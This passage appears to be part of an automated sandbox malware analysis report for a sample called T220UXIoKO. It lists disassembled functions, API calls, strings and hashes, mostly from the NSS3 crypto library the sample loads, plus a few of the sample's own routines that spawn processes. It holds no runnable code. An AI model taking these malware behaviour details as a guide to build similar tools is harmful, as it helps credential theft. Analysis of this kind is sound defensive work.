PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C814D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C814DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C814DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C814E20

Strings

*pulSize = 0x%x, xrefs: 6C814E1B
pulSize = 0x%p, xrefs: 6C814DB7
hSession = 0x%x, xrefs: 6C814D12, 6C814D22
C_GetObjectSize, xrefs: 6C814CEE
(CK_INVALID_HANDLE), xrefs: 6C814D30, 6C814D83
hObject = 0x%x, xrefs: 6C814D65, 6C814D75

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 99dd2e9782865f0c1319b924f5aedc0be69f7079ef570f44067d6ff0cfc32d48
Instruction ID: cabdd8c3e8a848f7e2f57ba530e1b67410c12a9bdd9758e486e9fde260b47561
Opcode Fuzzy Hash: 99dd2e9782865f0c1319b924f5aedc0be69f7079ef570f44067d6ff0cfc32d48
Instruction Fuzzy Hash: 2941E671609105EFDB20AF18DE88B6A37F5EBC635EF148835E508ABE11D730D909CB52

Function 6C812F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C812F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C812F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C812F63

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C812F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6C812F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6C812FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6C812FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6C812FE7

Strings

ulOldLen = %d, xrefs: 6C812FB0
ulNewLen = %d, xrefs: 6C812FE2
hSession = 0x%x, xrefs: 6C812F3E, 6C812F4E
pOldPin = 0x%p, xrefs: 6C812F95
(CK_INVALID_HANDLE), xrefs: 6C812F5C
pNewPin = 0x%p, xrefs: 6C812FC9
C_SetPIN, xrefs: 6C812F21

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: ad5b6c02e201c917dc86969e814be2f3931796c7bc59949b97971b1c05adf0ba
Instruction ID: 742d72545a5cd4747c854f07eaf3a36b805c893dda1564f67c1ebc7cedc16cdf
Opcode Fuzzy Hash: ad5b6c02e201c917dc86969e814be2f3931796c7bc59949b97971b1c05adf0ba
Instruction Fuzzy Hash: B231D275609149EFCB20AF58DE4CE5A37F1EB8635DF148824E808A7A12D734D949CB91

Function 6C8ACD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C8ACC7B), ref: 6C8ACD7A

Part of subcall function 6C8ACE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C81C1A8,?), ref: 6C8ACE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C8ACDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C8ACDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C8ACDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C8ACD8E

Part of subcall function 6C7D05C0: PR_EnterMonitor.NSS3 ref: 6C7D05D1
Part of subcall function 6C7D05C0: PR_ExitMonitor.NSS3 ref: 6C7D05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C8ACDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C8ACDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C8ACE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C8ACE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C8ACE48

Strings

freeaddrinfo, xrefs: 6C8ACD9F, 6C8ACE10
ws2_32.dll, xrefs: 6C8ACD75
getaddrinfo, xrefs: 6C8ACD88, 6C8ACDF9
getnameinfo, xrefs: 6C8ACDB2, 6C8ACE23
wship6.dll, xrefs: 6C8ACDE3

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 601aa88265d8c82cf7fbadd2acde9a5811fc663320a3c35a1211876c203f0cfb
Instruction ID: cbd57f10a9bcc5927b11ca415faa72f86cc664082a1a162745b2651f90c77bb6
Opcode Fuzzy Hash: 601aa88265d8c82cf7fbadd2acde9a5811fc663320a3c35a1211876c203f0cfb
Instruction Fuzzy Hash: 80119EE5E1721052DB117AB56E09EAE39795B4310DF284D74EC0AD1F02FB22D12AC3F6

Function 004117A0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 160stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004117C5
ExitProcess.KERNEL32 ref: 004117D1
strtok_s.MSVCRT ref: 004117E8

Strings

block, xrefs: 004117B7

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: 2fed056f04860ab53dc55cf46fa0ad5f7b81b83e30ecc022536dc59065cce9ea
Instruction ID: 00bb13bb87ecd4f31d5cbb7361e66ee12f2c4d363b15aa8138e6c51e0cba8311
Opcode Fuzzy Hash: 2fed056f04860ab53dc55cf46fa0ad5f7b81b83e30ecc022536dc59065cce9ea
Instruction Fuzzy Hash: AC517DB4A10209EFCB04DFA1D954BFE77B6BF44304F10804AE516A7361D778E992CB6A

Function 6C846CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C911DE0,?), ref: 6C846CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C846D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C846D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C846D82
DER_GetInteger_Util.NSS3(?), ref: 6C846DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C846DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C846E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C846F19
PK11_DigestBegin.NSS3(00000000), ref: 6C846F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C846F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C847011
PK11_FreeSymKey.NSS3(00000000), ref: 6C847033
free.MOZGLUE(?), ref: 6C84703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C847060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C847087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C8470AF

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: be56ed0ed241d90b34eac9dfd086dbe3bfd2be19b892606c3e23f701df1255df
Instruction ID: 47c3aa0348feaf12c2724ae14e5215c469285f5033f7b4029bc8f8762e4ef06b
Opcode Fuzzy Hash: be56ed0ed241d90b34eac9dfd086dbe3bfd2be19b892606c3e23f701df1255df
Instruction Fuzzy Hash: 96A118B19092099BEB309B24DE45B6B32D5DB8130CF24CD39E959CBA81F735D849C793

Function 6C80AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C7EAB95,00000000,?,00000000,00000000,00000000), ref: 6C80AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C7EAB95,00000000,?,00000000,00000000,00000000), ref: 6C80AF39
PR_Unlock.NSS3(?,?,?,6C7EAB95,00000000,?,00000000,00000000,00000000), ref: 6C80AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C7EAB95,00000000,?,00000000,00000000,00000000), ref: 6C80AF69
TlsGetValue.KERNEL32 ref: 6C80B06B
EnterCriticalSection.KERNEL32(?), ref: 6C80B083
PR_Unlock.NSS3(?), ref: 6C80B0A4
TlsGetValue.KERNEL32 ref: 6C80B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C80B0D9
PR_Unlock.NSS3 ref: 6C80B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C80B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C80B182

Part of subcall function 6C83FAB0: free.MOZGLUE(?,-00000001,?,?,6C7DF673,00000000,00000000), ref: 6C83FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C80B177

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C7EAB95,00000000,?,00000000,00000000,00000000), ref: 6C80B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C7EAB95,00000000,?,00000000,00000000,00000000), ref: 6C80B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C7EAB95,00000000,?,00000000,00000000,00000000), ref: 6C80B1C2

Part of subcall function 6C831560: TlsGetValue.KERNEL32(00000000,?,6C800844,?), ref: 6C83157A
Part of subcall function 6C831560: EnterCriticalSection.KERNEL32(?,?,?,6C800844,?), ref: 6C83158F
Part of subcall function 6C831560: PR_Unlock.NSS3(?,?,?,?,6C800844,?), ref: 6C8315B2

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: a806baf5aad1f2fa1c6a9d7afa619e92fbba3c6a9f87373558a16777c3335e84
Instruction ID: 31277e1cd665be6065f34c1ecdc8bd321b53e2b1cf6cf02e99bf53e6ea0c1856
Opcode Fuzzy Hash: a806baf5aad1f2fa1c6a9d7afa619e92fbba3c6a9f87373558a16777c3335e84
Instruction Fuzzy Hash: 62A1D1B1E002069BEF209F68DE85AFA77B4BF05308F104535E909A7752E731E959CBE1

Function 00410A60 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 205stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

memset.MSVCRT ref: 00410C1C
lstrcatA.KERNEL32(?,00000000), ref: 00410C35
lstrcatA.KERNEL32(?,00420D7C), ref: 00410C47
lstrcatA.KERNEL32(?,00000000), ref: 00410C5D
lstrcatA.KERNEL32(?,00420D80), ref: 00410C6F
lstrcatA.KERNEL32(?,00000000), ref: 00410C88
lstrcatA.KERNEL32(?,00420D84), ref: 00410C9A
lstrlenA.KERNEL32(?), ref: 00410CA7
memset.MSVCRT ref: 00410CCD
memset.MSVCRT ref: 00410CE1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00918580,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,0091CAD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004196C0: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00410B85,?,00000000,?,00000000,004205C6,004205C5), ref: 004196E1

CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000020,00000000,00000000,?,?,00000000,?,00420D88,?,00000000), ref: 00410D5A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00410D66

Strings

.exe, xrefs: 00410A95

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlenmemset$Create$FileObjectProcessSingleSystemTimeWait
String ID: .exe
API String ID: 1395395982-4119554291
Opcode ID: 74a2b4eb823f66a7a773147b1627efd196d727e2fc86b427189f4ea67f13cdff
Instruction ID: 8c4414bd7b792449c86a3c64e171a12ac7102eaeec46e1acf96b3d3d4dd6cf75
Opcode Fuzzy Hash: 74a2b4eb823f66a7a773147b1627efd196d727e2fc86b427189f4ea67f13cdff
Instruction Fuzzy Hash: A78194B55111186BCB14FBA1CD52FEE7338AF44308F40419EB30A66082DE786AD9CF6E

Function 6C85AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C85ADB1

Part of subcall function 6C83BE30: SECOID_FindOID_Util.NSS3(6C7F311B,00000000,?,6C7F311B,?), ref: 6C83BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C85ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C85AE08

Part of subcall function 6C83B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C9118D0,?), ref: 6C83B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C85AE25
PL_FreeArenaPool.NSS3 ref: 6C85AE63
PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C85AE4D

Part of subcall function 6C764C70: TlsGetValue.KERNEL32(?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764C97
Part of subcall function 6C764C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764CB0
Part of subcall function 6C764C70: PR_Unlock.NSS3(?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C85AE93
PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C85AECC
PL_FreeArenaPool.NSS3 ref: 6C85AEDE
PL_FinishArenaPool.NSS3 ref: 6C85AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C85AEF5
PL_FinishArenaPool.NSS3 ref: 6C85AF16

Strings

security, xrefs: 6C85ADEE

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: df3b5acd8ea064072124a495317608bc7fbccc60508b5c599520bb258ec27273
Instruction ID: 00e0c31e20f81c03888a73056fa7889410d7d3ac9ef18e11b0141af3c217df4b
Opcode Fuzzy Hash: df3b5acd8ea064072124a495317608bc7fbccc60508b5c599520bb258ec27273
Instruction Fuzzy Hash: 7B4129B1A0421867EB709B189EC9BFB32A4AF4230CF904D35E914D2F81F775952886F3

Function 6C7F8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C7F8E22
EnterCriticalSection.KERNEL32(?), ref: 6C7F8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C7F8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C7F8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C7F8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7F8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C7F8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C7F8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C7F8F00
free.MOZGLUE(?), ref: 6C7F8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C7F8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C7F8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C7F8F5B
PR_Unlock.NSS3(?), ref: 6C7F8F72
PR_Unlock.NSS3(?), ref: 6C7F8F82

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: a7a8f2e25dbc3bd67db0514eba82f96c6fc77fd914cad062676ff109792581e9
Instruction ID: 147fba77ee8a8f007d6a97a38d3d5683c7d499d8875226768381fc18c746e4c1
Opcode Fuzzy Hash: a7a8f2e25dbc3bd67db0514eba82f96c6fc77fd914cad062676ff109792581e9
Instruction Fuzzy Hash: 845126B2E002159FE7208F29CE8496EB7B9EF46758F14453AEC289B700E731ED4687D1

Function 6C81CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6C81CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C81CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6C81CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6C81CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6C81CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6C81CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6C81CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6C81CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6C81CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6C81CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6C81CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6C81CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6C81CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6C81D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6C81D021

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 79999b366a619090f8460d5202457b91fc88d5941b289e2829c2ab6c087f7405
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
